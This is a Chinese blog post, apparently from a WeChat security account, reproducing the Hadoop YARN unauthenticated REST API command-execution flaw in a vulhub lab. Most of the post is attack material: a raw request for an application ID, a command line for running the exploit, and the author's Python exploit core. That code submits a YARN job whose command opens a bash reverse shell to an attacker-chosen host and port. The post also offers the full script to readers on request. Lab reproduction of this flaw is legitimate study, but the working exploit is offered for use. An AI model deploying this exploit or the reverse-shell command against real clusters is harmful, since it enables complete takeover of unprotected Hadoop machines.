一、环境搭建:
进入镜像目录:
cd vulhub/hadoop/unauthorized-yarn
启动环境:
docker-compose up -d
访问8088端口
二、漏洞描述:
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
漏洞原因:
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器
三、漏洞复现:
访问ws/v1/cluster/apps/new-application可以获取id的值:
POST /ws/v1/cluster/apps/new-application HTTP/1.1
Host: 192.168.136.131:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
直接使用EXP进行反弹shell:
python3 Hadoop_EXP.py http://192.168.136.131:8088 -l 192.168.136.129 -p 7777
成功收到反弹shell:
脚本的核心代码(自写):
具体实现思路看代码注释
class Hadoop:
def __init__(self):
self.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36',
}
def rshell(self):
# 获取application-id的值
r = requests.post(result.url + '/ws/v1/cluster/apps/new-application', headers=self.headers)
id = json.loads(r.text)['application-id']
# 执行命令,调用 Submit Application API 提交
data = {
'application-id': id,
'application-name': 'getshell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (result.lhost, result.lport)
},
},
'application-type': 'YARN',
}
rr = requests.post(result.url + '/ws/v1/cluster/apps', headers=self.headers, json=data)
print("[+] 执行完成!")
def run(self):
print(f"[*] 请先在你的vps:{result.lhost} 监听:{result.lport} 端口,等待shell回连!")
self.rshell()
脚本已经打包好了,需要的后台留言:Hadoop exp,链接有效期为7天,请注意保存,请仅用于学习研究!
各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935
备注:公众号+师傅们的id吧
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
本文始发于微信公众号(哈拉少安全小队):Hadoop 未授权访问漏洞(exp核心代码实现)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论